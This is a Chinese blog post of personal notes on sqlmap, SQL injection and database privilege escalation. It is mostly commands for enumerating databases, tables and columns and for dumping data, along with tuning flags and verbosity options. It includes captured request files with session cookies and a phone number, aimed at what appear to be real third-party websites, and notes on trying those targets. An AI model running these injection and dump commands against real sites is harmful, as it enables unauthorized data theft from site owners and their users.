Home Hacker Sql提权 很好的文章sqlmap基本用法
Post
Cancel

Hacker Sql提权 很好的文章sqlmap基本用法

https://www.cnblogs.com/tonykan/p/3452043.html  这个是处理MS SQL SERVER的。 使用了xp_shell 来提权。

https://www.cnblogs.com/jshy/p/5616568.html 也是用来提权的 。也是MS SQL SERVER. 对于 kali 的使用很犀利。

https://blog.csdn.net/h4ck0ne/article/details/50570718 用来给MY SQL 提权。 这里对于sqlmap 做了相当精辟的引用。 

sqlmap -u <URL>  就可以做个全面的测试。 

sqlmap -u <URL> --current-user   获得当前的数据库用户 (貌似不准。 )

(前面命令同上,下面也是...)  --current-db  获得当前的数据库。 (非常准, 我靠。)

...  -D <数据库名>   可以获得该数据库下的全部table 名称。 (貌似是获得数据库信息)

...  -D <DB>  --tables  获得该数据库下的全部table 名称。

... -D <DB> --columns 获得该数据库下的全部column 名称。

... -D <DB> --dump 到处数据库(卧槽太狠了。会在对应的目录下 ~/.sqlmap/output/站点名/dump/DB_NAME 下 导出 CSV 文件)

一个URL具备多个参数该怎么办?   

$ sqlmap -u "yoursite.com?a=1&b=2" -p "a"  表示  只考虑参数a, 不考虑参数b.  可以不加引号。 

对于“隐形参数”的情况怎么办? 

 例如  /books/show/22/1  , 可以使用星号。例如:

$ sqlmap -u "http.../books/show/2*/1"     SQLMAP 就会自动识别了。 

另外,FIREFOX 可以自动抓包, 抓包后, 直接 Edit and Resend ,就可以看到各种header了。 在HOST那里把http补全,然后写好 POST .... HTTP1.1  就可以。 如下:

GET /usercenter/getnoticesdetail/347* HTTP/1.1   (注意这里后面的HTTP/1.1  )

Host: https://www.mc003.vip                   (注意这里前面的https:// 弄错的话就不行)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.mc003.vip/
X-Requested-With: XMLHttpRequest
Cookie: ci_sess=h9tb5lqivf8e36athk7609ckeca59stl; notices=%7B%22nid%22%3A%223478%22%2C%22nshowdt%22%3A%222018-09-28+15%3A06%3A00%22%7D; ntflag=Y
Connection: keep-alive
Content-Length: 0

如果要对某个站点重新抓取的话, 需要: 删掉:  ~/.sqlmap/output/target_site.com 文件夹。 

sqlmap 的工作过程:  

1. 会先尝试连接目标URL , 然后确定 timeout的值。 如果第一次用了10秒,以后就都会设置等待是10秒。 这个数其实不太准,应该设置成11s. 至少。 所以建议手动设置  --timeout=11

2. 请求失败后,会自动重试3次。默认。 (--retries=3)

3. 如果 请求消耗的时间比较多(例如30秒),sqlmap也会以为 对方服务器有IPS 这样的保护。 我们需要及时调整 --retries 参数。

[CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS

4.example URL:sqlmap -r header_zhidaoyuan_116.txt -p name --delay=0.5 --timeout=5 --string='身份证号' --fresh-queries --technique=E --dbms=mysql -v 3 --save=test_116_zhidaoyuan

5. 需要特别注意的是: 最开始给出的URL, 必须是可以正确打开的URL 。(可以使用--string='您好' 或者 --code=200 来表示正常的结果(SQLXXX = TRUE 的情况),也可以使用 --not-string 来判断 xxx = false的情况)

例如, /url?id=1  可以返回一个页面,包含了 “您好”这样的字符串 ,那么我们就用 --string='您好'来表示。 

对于Rails 的生产环境。 默认是不返回任何报错信息的。 所以这个情况,就算代码中有SQL注入,(?? to be confirmed) 黑客也无法通过SQLI工具来获得有用的信息。  这点非常重要。

sqlmap -u http://192.168.0.116:3000/books?title=i -p title --timeout=5 --code=200 technique=E --dbms=mysql -v 3 --delay=0.5 --fresh-queries --retries=1

6. 需要注意的是,有时候json 返回的汉字,是经过utf-8 处理的。 所以,我们需要指定  -v 6

-v 1 :默认显示INFO,例如要做的大事儿。看某个参数是否可注入

-v 2 : 默认显示 DEBUG 级别,例如判断远程CONTENT 是否稳定, --string参数是否在远程返回的内容中。

-v 3: 显示payload (就是用什么参数来访问远程。可以观察到各种SQLI 的技巧和方法)

-v 4: 显示request的HEADER

-v 5 显示 response 的 header

-v 6 显示 response 的 body . (这个很重要。例如下面的例子,可以用来debug为什么--string  不好用)

sqlmap -r header_mc003_mobile_register.txt -p username --string=已经存在 --delay=0.5 -v 6

{"isok":2,"msg":"\u7528\u6237\u540d\u5df2\u7ecf\u5b58\u5728\uff01"}
[03:27:43] [WARNING] you provided '已经存在' as the string to match, but such a string is not within the target URL raw response, sqlmap will carry on anyway

所以改成: 

(不行,加上双引号单引号都不行)--string=\u7528\u6237\u540d\u5df2\u7ecf\u5b58\u5728\uff01

(行) --string='"isok":2'     (注意外面是单引号,里面是"isok":2)

实际例子

现在的问题是: 本地的跟远程的不一样。
本地的book demo , 可以发现 where like 的SQL注入
本地的zdyadmin , 发现不了。
远程的: 发现不了。

初步怀疑:
1. 返回的时间过长? 本地的zdyadmin 卡死了。 数据太多。 en ...
1.1 把本地的book demo 加上sleep 10 ? OK
1.2 sqlmap 是否需要加上每次请求的间隔时间? ....可用。 --delay=3 就可以。
2. 需要系统的学习一下SQLI课程。(可以放在后面)
3. 需要学习手动的 SQLI 注入。 (特别是 id= ...where...这两个最典型的语句)

做完之后,,再试试之前的几个站点。

原因:

1. 要使用 --delay=0.5  这样的参数。 否则读取数据库频繁的话,响应会慢的。 

2. 要使用 --technologies这个参数。 如果可以的话。(减少检测时间)

3. --delay 可以减少请求间隔

4. --string='ok' 或者 --code=200 可以进行页面的SQLXXX =TRUE 的判断。

5. -v 6 可以看到远程返回的原始结果。 这个很重要。 

貌似 sqlmap 只支持 burp 提供的 request file, 一个例子如下:

POST /Login/chkmobile.html HTTP/1.1
Host: http://www.1.io ( here must be: http.... )
Connection: close
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.1.io
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://www.1.io/Login/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h4eekvepsckedp2lg3muoko4s4

mobile=18622143508

This post is licensed under CC BY 4.0 by the author.